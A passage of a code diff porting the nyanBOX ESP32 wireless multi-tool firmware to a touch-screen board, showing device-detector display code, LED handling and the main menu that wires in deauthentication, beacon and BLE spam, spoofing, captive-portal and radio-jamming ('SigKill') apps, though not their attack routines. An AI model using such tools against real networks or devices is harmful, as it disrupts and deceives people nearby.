esp_ble_gap_start_scanning(effectiveScanDuration); + lastScanTime = now; + return; + } + + if (scanCompleted && now - lastButtonPress > debounceTime) { + if (!isDetailView && !isLocateMode && digitalRead(BTN_UP) == LOW && currentIndex > 0) { + --currentIndex; + if (currentIndex < listStartIndex) + --listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_DOWN) == LOW && + currentIndex < (int)meshtasticDevices.size() - 1) { + ++currentIndex; + if (currentIndex >= listStartIndex + 5) + ++listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !meshtasticDevices.empty()) { + isDetailView = true; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !meshtasticDevices.empty()) { + isLocateMode = true; + strncpy(locateTargetAddress, meshtasticDevices[currentIndex].address, sizeof(locateTargetAddress) - 1); + locateTargetAddress[sizeof(locateTargetAddress) - 1] = '\0'; + if (!isScanning) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } + lastButtonPress = now; + lastLocateUpdate = now; + needsRedraw = true; + } else if (isLocateMode && digitalRead(BTN_BACK) == LOW) { + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_BACK) == LOW) { + isDetailView = false; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } + } + + if (meshtasticDevices.empty()) { + if (currentIndex != 0 || isDetailView || isLocateMode) { + needsRedraw = true; + } + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + } else { + currentIndex = constrain(currentIndex, 0, (int)meshtasticDevices.size() - 1); + listStartIndex = + constrain(listStartIndex, 0, max(0, (int)meshtasticDevices.size() - 5)); + } + + if (isDetailView && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (isLocateMode && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (meshtasticDevices.empty() && scanCompleted && !isScanning && + now - lastCountdownUpdate >= countdownUpdateInterval) { + lastCountdownUpdate = now; + needsRedraw = true; + } + + if (!needsRedraw) { + return; + } + + needsRedraw = false; + u8g2.clearBuffer(); + + if (meshtasticDevices.empty()) { + if (isContinuousScanEnabled()) { + + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "Meshtastic..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + } else { + + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "No Meshtastic found"); + u8g2.setFont(u8g2_font_5x8_tr); + char timeStr[32]; + unsigned long timeLeft = (scanInterval - (now - lastScanTime)) / 1000; + snprintf(timeStr, sizeof(timeStr), "Scanning in %lus", timeLeft); + u8g2.drawStr(0, 30, timeStr); + u8g2.drawStr(0, 45, "Press SEL to exit"); + } + } else if (isLocateMode) { + auto &dev = meshtasticDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "%.16s", maskedName); + u8g2.drawStr(0, 8, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "%s", maskedAddress); + u8g2.drawStr(0, 16, buf); + + u8g2.setFont(u8g2_font_7x13B_tr); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 28, buf); + + u8g2.setFont(u8g2_font_5x8_tr); + int rssiClamped = constrain(dev.rssi, -100, -40); + int signalLevel = map(rssiClamped, -100, -40, 0, 5); + + const char* quality; + if (signalLevel >= 5) quality = "EXCELLENT"; + else if (signalLevel >= 4) quality = "VERY GOOD"; + else if (signalLevel >= 3) quality = "GOOD"; + else if (signalLevel >= 2) quality = "FAIR"; + else if (signalLevel >= 1) quality = "WEAK"; + else quality = "VERY WEAK"; + + snprintf(buf, sizeof(buf), "Signal: %s", quality); + u8g2.drawStr(0, 38, buf); + + int barWidth = 12; + int barSpacing = 5; + int totalWidth = (barWidth * 5) + (barSpacing * 4); + int startX = (128 - totalWidth) / 2; + int baseY = 54; + + for (int i = 0; i < 5; i++) { + int barHeight = 8 + (i * 2); + int x = startX + (i * (barWidth + barSpacing)); + int y = baseY - barHeight; + + if (i < signalLevel) { + u8g2.drawBox(x, y, barWidth, barHeight); + } else { + u8g2.drawFrame(x, y, barWidth, barHeight); + } + } + + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + } else if (isDetailView) { + u8g2.setFont(u8g2_font_5x8_tr); + auto &dev = meshtasticDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "Name: %s", maskedName); + u8g2.drawStr(0, 10, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "MAC: %s", maskedAddress); + u8g2.drawStr(0, 20, buf); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 30, buf); + snprintf(buf, sizeof(buf), "Age: %lus", (millis() - dev.lastSeen) / 1000); + u8g2.drawStr(0, 40, buf); + u8g2.drawStr(0, 60, "L=Back SEL=Exit R=Locate"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + char header[32]; + snprintf(header, sizeof(header), "Meshtastic: %d/%d", + (int)meshtasticDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 10, header); + + for (int i = 0; i < 5; ++i) { + int idx = listStartIndex + i; + if (idx >= (int)meshtasticDevices.size()) + break; + auto &d = meshtasticDevices[idx]; + if (idx == currentIndex) + u8g2.drawStr(0, 20 + i * 10, ">"); + char line[32]; + const char* displayName = d.name[0] ? d.name : "Meshtastic"; + char maskedName[33]; + maskName(displayName, maskedName, sizeof(maskedName) - 1); + snprintf(line, sizeof(line), "%.8s | RSSI %d", + maskedName, d.rssi); + u8g2.drawStr(10, 20 + i * 10, line); + } + } + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} \ No newline at end of file diff --git a/cyd-port/src/neopixel.cpp b/cyd-port/src/neopixel.cpp new file mode 100644 index 0000000..9140247 --- /dev/null +++ b/cyd-port/src/neopixel.cpp @@ -0,0 +1,74 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/neopixel.h" +#include "../include/setting.h" +#include +#include "../include/pindefs.h" + +extern Adafruit_NeoPixel pixels; + +void neopixelSetup() { + EEPROM.begin(512); + neoPixelActive = EEPROM.read(0); + + if (neoPixelActive) { + pixels.begin(); + pixels.setBrightness(8); + pixels.clear(); + pixels.show(); + } +} + +static bool isBlinking = false; +static uint8_t baseRed = 0; +static uint8_t baseGreen = 0; +static uint8_t baseBlue = 0; +static unsigned long lastBlinkTime = 0; +static bool blinkState = false; +const int blinkSpeed = 800; + +void blinkColor(uint8_t r, uint8_t g, uint8_t b) { + if (!neoPixelActive) return; + + isBlinking = true; + baseRed = r; + baseGreen = g; + baseBlue = b; + blinkState = true; + lastBlinkTime = millis(); +} + +void stopBlinking() { + isBlinking = false; + if (neoPixelActive) { + pixels.setPixelColor(0, 0, 0, 0); + pixels.show(); + } +} + +void neopixelLoop() { + if (!neoPixelActive || !isBlinking) return; + + unsigned long now = millis(); + if (now - lastBlinkTime >= blinkSpeed) { + lastBlinkTime = now; + blinkState = !blinkState; + + if (blinkState) { + pixels.setPixelColor(0, pixels.Color(baseRed, baseGreen, baseBlue)); + } else { + pixels.setPixelColor(0, 0, 0, 0); + } + + pixels.show(); + } +} \ No newline at end of file diff --git a/cyd-port/src/nyanBOX.ino b/cyd-port/src/nyanBOX.ino new file mode 100644 index 0000000..f93b3d4 --- /dev/null +++ b/cyd-port/src/nyanBOX.ino @@ -0,0 +1,833 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2026 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include +#include +#include +#include +#include +#include +#include +#include "esp_bt_main.h" + +#ifdef U8X8_HAVE_HW_I2C +#include +#endif +#include + +#include "../include/icon.h" +#include "../include/neopixel.h" +#include "../include/setting.h" + +#include "../include/scanner.h" +#include "../include/analyzer.h" +#include "../include/sourapple.h" +#include "../include/sourdroid.h" +#include "../include/blescan.h" +#include "../include/ble_inspector.h" +#include "../include/ble_spammer.h" +#include "../include/ble_spoofer.h" +#include "../include/swiftpair.h" +#include "../include/flipperzero_detector.h" +#include "../include/meshtastic_detector.h" +#include "../include/meshcore_detector.h" +#include "../include/airtag_detector.h" +#include "../include/airtag_spoofer.h" +#include "../include/tile_detector.h" +#include "../include/smarttag_detector.h" +#include "../include/rayban_detector.h" +#include "../include/wifiscan.h" +#include "../include/deauth.h" +#include "../include/deauth_scanner.h" +#include "../include/beacon_spam.h" +#include "../include/pwnagotchi_detector.h" +#include "../include/pindefs.h" +#include "../include/sigkill.h" +#include "../include/about.h" +#include "../include/channel_analyzer.h" +#include "../include/pwnagotchi_spam.h" +#include "../include/level_system.h" +#include "../include/nyanbox_detector.h" +#include "../include/nyanbox_advertiser.h" +#include "../include/evil_portal.h" +#include "../include/legal_disclaimer.h" +#include "../include/cardskimmer_detector.h" +#include "../include/axon_detector.h" +#include "../include/drone_detector.h" +#include "../include/drone_spoofer.h" +#include "../include/flock_detector.h" +#include "../include/device_scout.h" +#include "../include/pineapple_detector.h" +#include "../include/display_mirror.h" +#include "../include/password.h" +#include "../include/radio_manager.h" + +RF24 radios[] = { + RF24(RADIO_CE_PIN_1, RADIO_CSN_PIN_1), + RF24(RADIO_CE_PIN_2, RADIO_CSN_PIN_2), + RF24(RADIO_CE_PIN_3, RADIO_CSN_PIN_3) +}; +// CYD port: which radios actually answered at boot (false = not wired yet). +bool radioPresent[3] = { false, false, false }; + +U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE); +Adafruit_NeoPixel pixels(1, NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800); +extern uint8_t oledBrightness; + +struct MenuItem { + const char* name; + const unsigned char* icon; + void (*setup)(); + void (*loop)(); + void (*cleanup)(); +}; + +bool dangerousActionsEnabled = false; + +const char* nyanboxVersion = NYANBOX_VERSION; +unsigned long idleTimeout = 120000; +static unsigned long lastActivity = 0; +static bool displayOff = false; +const unsigned long MAX_XP_IDLE_TIME = 120000; + +unsigned long upLastMillis = 0; +unsigned long upNextRepeat = 0; +bool upPressed = false; +unsigned long upDebounceTime = 0; + +unsigned long downLastMillis = 0; +unsigned long downNextRepeat = 0; +bool downPressed = false; +unsigned long downDebounceTime = 0; + +bool selPrev = false; +bool rightPrev = false; +bool leftPrev = false; +unsigned long selDebounceTime = 0; +unsigned long rightDebounceTime = 0; +unsigned long leftDebounceTime = 0; + +const unsigned long initialDelay = 500; +const unsigned long repeatInterval = 250; +const unsigned long debounceDelay = 200; + +static bool needsRedraw = true; + +void updateLastActivity() { + lastActivity = millis(); +} + +void updateSleepTimeout(unsigned long newTimeout) { + idleTimeout = newTimeout; +} + +bool anyButtonPressed() { + return digitalRead(BUTTON_PIN_UP) == LOW || + digitalRead(BUTTON_PIN_DOWN) == LOW || + digitalRead(BUTTON_PIN_CENTER)== LOW || + digitalRead(BUTTON_PIN_RIGHT) == LOW || + digitalRead(BUTTON_PIN_LEFT) == LOW; +} + + +void loadSleepTimeoutFromEEPROM() { + uint8_t sleepTimeoutValue = EEPROM.read(3); + const unsigned long sleepTimeouts[] = {15, 30, 60, 120, 300, 900, 1800, 0}; + if (sleepTimeoutValue < 8) { + updateSleepTimeout(sleepTimeouts[sleepTimeoutValue] * 1000); + } else { + updateSleepTimeout(120000); + } +} + + +void wakeDisplay() { + u8g2.setPowerSave(0); + displayOff = false; + while (anyButtonPressed()) {} + + upDebounceTime = 0; + downDebounceTime = 0; + selDebounceTime = 0; + leftDebounceTime = 0; + rightDebounceTime = 0; + + upPressed = false; + downPressed = false; + selPrev = false; + leftPrev = false; + rightPrev = false; + + updateLastActivity(); + needsRedraw = true; +} + +void checkIdle() { + if (idleTimeout == 0) { + return; + } + + if (!displayOff && millis() - lastActivity >= idleTimeout) { + u8g2.setPowerSave(1); + displayOff = true; + return; + } + if (displayOff && anyButtonPressed()) { + delay(10); + if (anyButtonPressed()) { + wakeDisplay(); + } + } +} + +const int ITEM_HEIGHT = 19; // enlarged for ~39px finger targets (touch tap-to-select) +const int ITEM_SPACING = 2; +const int TEXT_X = 40; +const int SELECTION_X = 16; +const int SELECTION_WIDTH = 120; +const int ICON_X = 18; + +void drawSelection(int x, int y, int width, int height, bool selected) { + if (selected) { + u8g2.drawBox(x, y+2, 2, height-4); + } +} + +enum AppMenuState { APP_MAIN, APP_BLE, APP_WIFI, APP_OTHER, APP_LEVEL }; + +int getXPAmount(const char* appName) { + if (isReconApp(appName)) { + return 3; + } else if (isOffensiveApp(appName)) { + return 4; + } else if (isUtilityApp(appName)) { + return 2; + } else { + return 0; + } +} + +bool isReconApp(const char* appName) { + return strstr(appName, "Scan") != nullptr || + strstr(appName, "Detector") != nullptr || + strstr(appName, "Scout") != nullptr || + strstr(appName, "Analyzer") != nullptr || + strstr(appName, "Inspect") != nullptr; +} + +bool isDangerousApp(const char* appName) { + return strstr(appName, "SigKill") != nullptr; +} + +bool isOffensiveApp(const char* appName) { + if (isDangerousApp(appName)) { + return true; + } + + return strstr(appName, "Deauth") != nullptr || + strstr(appName, "Spam") != nullptr || + strstr(appName, "Swift Pair") != nullptr || + strstr(appName, "Sour Apple") != nullptr || + strstr(appName, "Sour Droid") != nullptr || + strstr(appName, "Spoofer") != nullptr || + strstr(appName, "Evil Portal") != nullptr; +} + +bool isUtilityApp(const char* appName) { + return strstr(appName, "Setting") != nullptr || + strstr(appName, "About") != nullptr; +} + +AppMenuState currentState = APP_MAIN; +MenuItem* currentMenuItems = nullptr; +int currentMenuSize = 0; +int item_selected = 0; + +constexpr uint8_t BUTTON_UP = BUTTON_PIN_UP; +constexpr uint8_t BUTTON_SEL = BUTTON_PIN_CENTER; +constexpr uint8_t BUTTON_DOWN = BUTTON_PIN_DOWN; +constexpr uint8_t BUTTON_RIGHT = BUTTON_PIN_RIGHT; +constexpr uint8_t BUTTON_LEFT = BUTTON_PIN_LEFT; + +static unsigned long appStartTime = 0; +static unsigned long lastXPReward = 0; +static const char* currentAppName = ""; +static int currentXPAmount = 0; +static bool inApplication = false; +static int pendingXP = 0; +static unsigned long totalActiveMinutes = 0; +const unsigned long XP_REWARD_INTERVAL = 60000; + +bool justPressed(uint8_t pin, bool &prev, unsigned long &debounceTime) { + bool now = digitalRead(pin) == LOW; + unsigned long currentTime = millis(); + + if (now != prev && (currentTime - debounceTime) > debounceDelay) { + debounceTime = currentTime; + prev = now; + return now; + } + + return false; +} + +bool shouldShowApp(const char* appName) { + return !isDangerousApp(appName) || isDangerousActionsEnabled(); +} + +int getVisibleMenuSize() { + int count = 0; + for (int i = 0; i < currentMenuSize; i++) { + if (shouldShowApp(currentMenuItems[i].name)) { + count++; + } + } + return count; +} + +MenuItem* getVisibleMenuItem(int visibleIndex) { + int visibleCount = 0; + for (int i = 0; i < currentMenuSize; i++) { + if (shouldShowApp(currentMenuItems[i].name)) { + if (visibleCount == visibleIndex) { + return ¤tMenuItems[i]; + } + visibleCount++; + } + } + + return ¤tMenuItems[0]; +} + + +void startAppTracking(const char* appName) { + currentAppName = appName; + currentXPAmount = getXPAmount(appName); + appStartTime = millis(); + lastXPReward = appStartTime; + totalActiveMinutes = 0; + inApplication = true; +} + +void stopAppTracking() { + if (inApplication) { + if (totalActiveMinutes >= 10) { + pendingXP += 12; + } else if (totalActiveMinutes >= 5) { + pendingXP += 4; + } + + if (pendingXP > 0) { + addXP(pendingXP); + pendingXP = 0; + } + + inApplication = false; + currentAppName = ""; + currentXPAmount = 0; + + updateLastActivity(); + } +} + +void updateAppXP() { + if (!inApplication) return; + + bool currentlyActive = (millis() - lastActivity < MAX_XP_IDLE_TIME); + + if (currentlyActive && millis() - lastXPReward >= XP_REWARD_INTERVAL) { + totalActiveMinutes++; + + if (currentXPAmount > 0) { + pendingXP += currentXPAmount; + } + lastXPReward = millis(); + } +} + +void enterMenu(AppMenuState st); +void runApp(MenuItem &mi); + +void noCleanup() { +} + +MenuItem mainMenu[] = { + { "WiFi", bitmap_icon_wifi, nullptr, nullptr, noCleanup }, + { "BLE", bitmap_icon_ble, nullptr, nullptr, noCleanup }, + { "Other", bitmap_icon_analyzer, nullptr, nullptr, noCleanup } +}; +constexpr int MAIN_MENU_SIZE = sizeof(mainMenu) / sizeof(mainMenu[0]); + +MenuItem wifiMenu[] = { + { "WiFi Scan", nullptr, wifiscanSetup, wifiscanLoop, wifiscanCleanup }, + { "Channel Analyzer", nullptr, channelAnalyzerSetup, channelAnalyzerLoop, cleanupWiFi }, + { "WiFi Deauther", nullptr, deauthSetup, deauthLoop, cleanupWiFi }, + { "Deauth Scanner", nullptr, deauthScannerSetup, deauthScannerLoop, cleanupWiFi }, + { "Beacon Spam", nullptr, beaconSpamSetup, beaconSpamLoop, cleanupWiFi }, + { "Evil Portal", nullptr, evilPortalSetup, evilPortalLoop, cleanupEvilPortal }, + { "Pineapple Detector", nullptr, pineappleDetectorSetup, pineappleDetectorLoop, cleanupWiFi }, + { "Pwnagotchi Detector", nullptr, pwnagotchiDetectorSetup, pwnagotchiDetectorLoop, cleanupWiFi }, + { "Pwnagotchi Spam", nullptr, pwnagotchiSpamSetup, pwnagotchiSpamLoop, cleanupWiFi }, + { "Back", nullptr, nullptr, nullptr, noCleanup } +}; +constexpr int WIFI_MENU_SIZE = sizeof(wifiMenu) / sizeof(wifiMenu[0]); + +MenuItem bleMenu[] = { + { "BLE Scan", nullptr, blescanSetup, blescanLoop, cleanupBLE }, + { "BLE Inspector", nullptr, bleInspectorSetup, bleInspectorLoop, cleanupBLE }, + { "nyanBOX Detector", nullptr, nyanboxDetectorSetup, nyanboxDetectorLoop, cleanupBLE }, + { "Flipper Zero Detector", nullptr, flipperZeroDetectorSetup, flipperZeroDetectorLoop, cleanupBLE }, + { "Axon Detector", nullptr, axonDetectorSetup, axonDetectorLoop, cleanupBLE }, + { "Meshtastic Detector", nullptr, meshtasticDetectorSetup, meshtasticDetectorLoop, cleanupBLE }, + { "MeshCore Detector", nullptr, meshcoreDetectorSetup, meshcoreDetectorLoop, cleanupBLE }, + { "Skimmer Detector", nullptr, cardskimmerDetectorSetup, cardskimmerDetectorLoop, cleanupBLE }, + { "AirTag Detector", nullptr, airtagDetectorSetup, airtagDetectorLoop, cleanupBLE }, + { "AirTag Spoofer", nullptr, airtagSpooferSetup, airtagSpooferLoop, cleanupBLE }, + { "SmartTag Detector", nullptr, smarttagDetectorSetup, smarttagDetectorLoop, cleanupBLE }, + { "Tile Detector", nullptr, tileDetectorSetup, tileDetectorLoop, cleanupBLE }, + { "RayBan Detector", nullptr, raybanDetectorSetup, raybanDetectorLoop, cleanupBLE }, + { "BLE Spammer", nullptr, bleSpamSetup, bleSpamLoop, cleanupBLE }, + { "Swift Pair", nullptr, swiftpairSpamSetup, swiftpairSpamLoop, cleanupBLE }, + { "Sour Apple", nullptr, sourappleSetup, sourappleLoop, cleanupBLE }, + { "Sour Droid", nullptr, sourDroidSetup, sourDroidLoop, cleanupBLE }, + { "BLE Spoofer", nullptr, bleSpooferSetup, bleSpooferLoop, cleanupBLE }, + { "Back", nullptr, nullptr, nullptr, noCleanup } +}; +constexpr int BLE_MENU_SIZE = sizeof(bleMenu) / sizeof(bleMenu[0]); + +MenuItem otherMenu[] = { + { "SigKill", nullptr, sigkillSetup, sigkillLoop, cleanupRadio }, + { "Drone Detector", nullptr, droneDetectorSetup, droneDetectorLoop, cleanupDroneDetector }, + { "Drone Spoofer", nullptr, droneSpooferSetup, droneSpooferLoop, cleanupDroneSpoofer }, + { "Flock Detector", nullptr, flockDetectorSetup, flockDetectorLoop, cleanupFlockDetector }, + { "Device Scout", nullptr, deviceScoutSetup, deviceScoutLoop, cleanupDeviceScout }, + { "Scanner", nullptr, scannerSetup, scannerLoop, cleanupRadio }, + { "Analyzer", nullptr, analyzerSetup, analyzerLoop, cleanupRadio }, + { "Setting", nullptr, settingSetup, settingLoop, noCleanup }, + { "About", nullptr, aboutSetup, aboutLoop, aboutCleanup }, + { "Back", nullptr, nullptr, nullptr, noCleanup } +}; +constexpr int OTHER_MENU_SIZE = sizeof(otherMenu) / sizeof(otherMenu[0]); + +void enterMenu(AppMenuState st) { + currentState = st; + + int previousSelection = item_selected; + const char* previousAppName = nullptr; + + if (item_selected < getVisibleMenuSize()) { + previousAppName = getVisibleMenuItem(item_selected)->name; + } + + if (st == APP_MAIN) { + startNyanboxAdvertiser(); + } else { + stopNyanboxAdvertiser(); + } + + switch (st) { + case APP_MAIN: + currentMenuItems = mainMenu; + currentMenuSize = MAIN_MENU_SIZE; + break; + case APP_WIFI: + currentMenuItems = wifiMenu; + currentMenuSize = WIFI_MENU_SIZE; + break; + case APP_BLE: + currentMenuItems = bleMenu; + currentMenuSize = BLE_MENU_SIZE; + break; + case APP_OTHER: + currentMenuItems = otherMenu; + currentMenuSize = OTHER_MENU_SIZE; + break; + } + + item_selected = 0; + if (previousAppName && st != APP_MAIN) { + for (int i = 0; i < getVisibleMenuSize(); i++) { + if (strcmp(getVisibleMenuItem(i)->name, previousAppName) == 0) { + item_selected = i; + break; + } + } + } + + setTouchMode(TOUCH_MENU); // menu screens: 2-zone BACK/LEVEL bar + tap/drag + needsRedraw = true; +} + +void runApp(MenuItem &mi) { + if (!mi.setup) return; + + startAppTracking(mi.name); + + if (isReconApp(mi.name)) { + blinkColor(0, 0, 255); // Blue + } else if (isOffensiveApp(mi.name)) { + blinkColor(255, 0, 0); // Red + } + + setTouchMode(TOUCH_APP); // apps use the 5-zone arrow D-pad; band gestures off + mi.setup(); + updateLastActivity(); + displayOff = false; + u8g2.setPowerSave(0); + + if (!mi.loop) { setTouchMode(TOUCH_MENU); return; } + while (digitalRead(BUTTON_SEL) == LOW); + + while (true) { + checkIdle(); + updateAppXP(); + neopixelLoop(); + + if (anyButtonPressed()) { + updateLastActivity(); + } + + mi.loop(); + if (digitalRead(BUTTON_SEL) == LOW) { + while (digitalRead(BUTTON_SEL) == LOW); + + if (mi.cleanup) { + mi.cleanup(); + } + + break; + } + } + + stopBlinking(); + stopAppTracking(); + u8g2.clearBuffer(); + setTouchMode(TOUCH_MENU); // restore menu tap/drag + bar on app exit +} + +void setup() { + Serial.begin(115200); + + neopixelSetup(); + SPI.begin(); + + int cePins[] = {RADIO_CE_PIN_1, RADIO_CE_PIN_2, RADIO_CE_PIN_3}; + int csnPins[] = {RADIO_CSN_PIN_1, RADIO_CSN_PIN_2, RADIO_CSN_PIN_3}; + + for (int i = 0; i < 3; i++) { + pinMode(cePins[i], OUTPUT); + pinMode(csnPins[i], OUTPUT); + digitalWrite(csnPins[i], HIGH); + digitalWrite(cePins[i], LOW); + } + delay(100); + + for (int i = 0; i < 3; i++) { + if (!radios[i].begin() || !radios[i].isChipConnected()) { + // CYD port: the nRF24 modules may not be wired yet (on order). Do NOT hang + // the whole device on a missing radio — that left the TFT dark because the + // u8g2.begin()/display init below never ran. Skip the absent radio and boot; + // when all three are wired this branch never triggers and behaviour is normal. + radioPresent[i] = false; + continue; + } + radioPresent[i] = true; + radios[i].setAutoAck(false); + radios[i].stopListening(); + radios[i].setRetries(0,0); + radios[i].setPALevel(RF24_PA_MAX, true); + radios[i].setDataRate(RF24_2MBPS); + radios[i].setCRCLength(RF24_CRC_DISABLED); + } + + EEPROM.begin(512); + oledBrightness = EEPROM.read(1); + + dangerousActionsEnabled = false; + + loadSleepTimeoutFromEEPROM(); + + uint8_t continuousScanValue = EEPROM.read(4); + if (continuousScanValue == 0xFF) { + continuousScanEnabled = true; + } else { + continuousScanEnabled = (continuousScanValue == 1); + } + + uint8_t privacyModeValue = EEPROM.read(5); + if (privacyModeValue == 0xFF) { + privacyModeEnabled = false; + } else { + privacyModeEnabled = (privacyModeValue == 1); + } + + u8g2.begin(); + u8g2.setContrast(oledBrightness); + u8g2.setBitmapMode(1); + + updateLastActivity(); + + u8g2.clearBuffer(); + + u8g2.setFont(u8g2_font_helvB14_tr); + const char* title = "nyanBOX"; + int16_t titleW = u8g2.getUTF8Width(title); + u8g2.setCursor((128 - titleW) / 2, 16); + u8g2.print(title); + + u8g2.setFont(u8g2_font_helvR08_tr); + const char* url = "nyandevices.com"; + int16_t urlW = u8g2.getUTF8Width(url); + u8g2.setCursor((128 - urlW) / 2, 32); + u8g2.print(url); + + u8g2.setFont(u8g2_font_helvR08_tr); + int16_t creditWidth = u8g2.getUTF8Width("by jbohack & zr_crackiin"); + int16_t creditX = (128 - creditWidth) / 2; + u8g2.setCursor(creditX, 50); + u8g2.print("by jbohack & zr_crackiin"); + + u8g2.setFont(u8g2_font_helvR08_tr); + int16_t verW = u8g2.getUTF8Width(nyanboxVersion); + u8g2.setCursor((128 - verW) / 2, 62); + u8g2.print(nyanboxVersion); + + u8g2.sendBuffer(); + delay(2000); + + u8g2.clearBuffer(); + u8g2.drawXBMP(0, 0, 128, 64, logo_nyanbox); + u8g2.sendBuffer(); + delay(1500); + + // CYD port: the five button pins are now the touch SPI bus / DAC — no pinMode. + touchInputSetup(); + touchBegin(); // load stored touch calibration, or run 4-corner cal on first boot + + levelSystemSetup(); + + initNyanboxAdvertiser(); + startNyanboxAdvertiser(); + + if (passwordEnabled()) { checkPasswordOnBoot(); } + + enterMenu(APP_MAIN); + displayMirrorSetup(); +} + +static int menuStart = 0; // top visible item index, hoisted from the render for tap math + +// Perform the current menu selection (shared by the D-pad SEL press and a touch tap). +void activateMenuSelection() { + MenuItem *sel = getVisibleMenuItem(item_selected); + if (currentState == APP_MAIN) { + if (strcmp(sel->name, "WiFi") == 0) enterMenu(APP_WIFI); + else if (strcmp(sel->name, "BLE") == 0) enterMenu(APP_BLE); + else if (strcmp(sel->name, "Other") == 0) enterMenu(APP_OTHER); + } else { + if (strcmp(sel->name, "Back") == 0) { + enterMenu(APP_MAIN); + } else { + runApp(*sel); + needsRedraw = true; + } + } +} + +void loop() { + if (Serial.available() > 0) { + String cmd = Serial.readStringUntil('\n'); + cmd.trim(); + if (cmd == "MIRROR_ON") { + displayMirrorEnable(true); + needsRedraw = true; + } else if (cmd == "MIRROR_OFF") { + displayMirrorEnable(false); + } + } + + checkIdle(); + + if (displayOff) { + return; + } + + updateAppXP(); + neopixelLoop(); + updateNyanboxAdvertiser(); + + bool upNow = (digitalRead(BUTTON_PIN_UP) == LOW); + bool downNow = (digitalRead(BUTTON_PIN_DOWN) == LOW); + unsigned long currentTime = millis(); + + if (upNow) { + updateLastActivity(); + if (!upPressed && (currentTime - upDebounceTime) > debounceDelay) { + upDebounceTime = currentTime; + if (item_selected > 0) { + item_selected--; + } else { + item_selected = getVisibleMenuSize() - 1; + } + upLastMillis = currentTime; + upNextRepeat = upLastMillis + initialDelay; + needsRedraw = true; + } else if (upPressed && currentTime >= upNextRepeat) { + if (item_selected > 0) { + item_selected--; + } else { + item_selected = getVisibleMenuSize() - 1; + } + upNextRepeat += repeatInterval; + needsRedraw = true; + } + } + upPressed = upNow; + + if (downNow) { + updateLastActivity(); + if (!downPressed && (currentTime - downDebounceTime) > debounceDelay) { + downDebounceTime = currentTime; + if (item_selected < getVisibleMenuSize() - 1) { + item_selected++; + } else { + item_selected = 0; + } + downLastMillis = currentTime; + downNextRepeat = downLastMillis + initialDelay; + needsRedraw = true; + } else if (downPressed && currentTime >= downNextRepeat) { + if (item_selected < getVisibleMenuSize() - 1) { + item_selected++; + } else { + item_selected = 0; + } + downNextRepeat += repeatInterval; + needsRedraw = true; + } + } + downPressed = downNow; + + if (justPressed(BUTTON_SEL, selPrev, selDebounceTime)) { + updateLastActivity(); + if (currentState != APP_LEVEL) activateMenuSelection(); + } + + if (justPressed(BUTTON_LEFT, leftPrev, leftDebounceTime)) { + updateLastActivity(); + if (currentState == APP_LEVEL || + currentState == APP_BLE || + currentState == APP_WIFI || + currentState == APP_OTHER) { + enterMenu(APP_MAIN); + } + } + + if (justPressed(BUTTON_RIGHT, rightPrev, rightDebounceTime)) { + updateLastActivity(); + if (currentState == APP_MAIN) { + currentState = APP_LEVEL; + levelSystemSetup(); + setTouchMode(TOUCH_APP); // level screen uses the 5-zone D-pad + needsRedraw = true; + } + } + + // Touch-native menu: tap a row (main area) to enter it; drag the LEFT slider to scroll. + if (currentState != APP_LEVEL) { + int sy; + if (touchMenuSlider(sy)) { // left slider = live scroll, never selects + int sz = 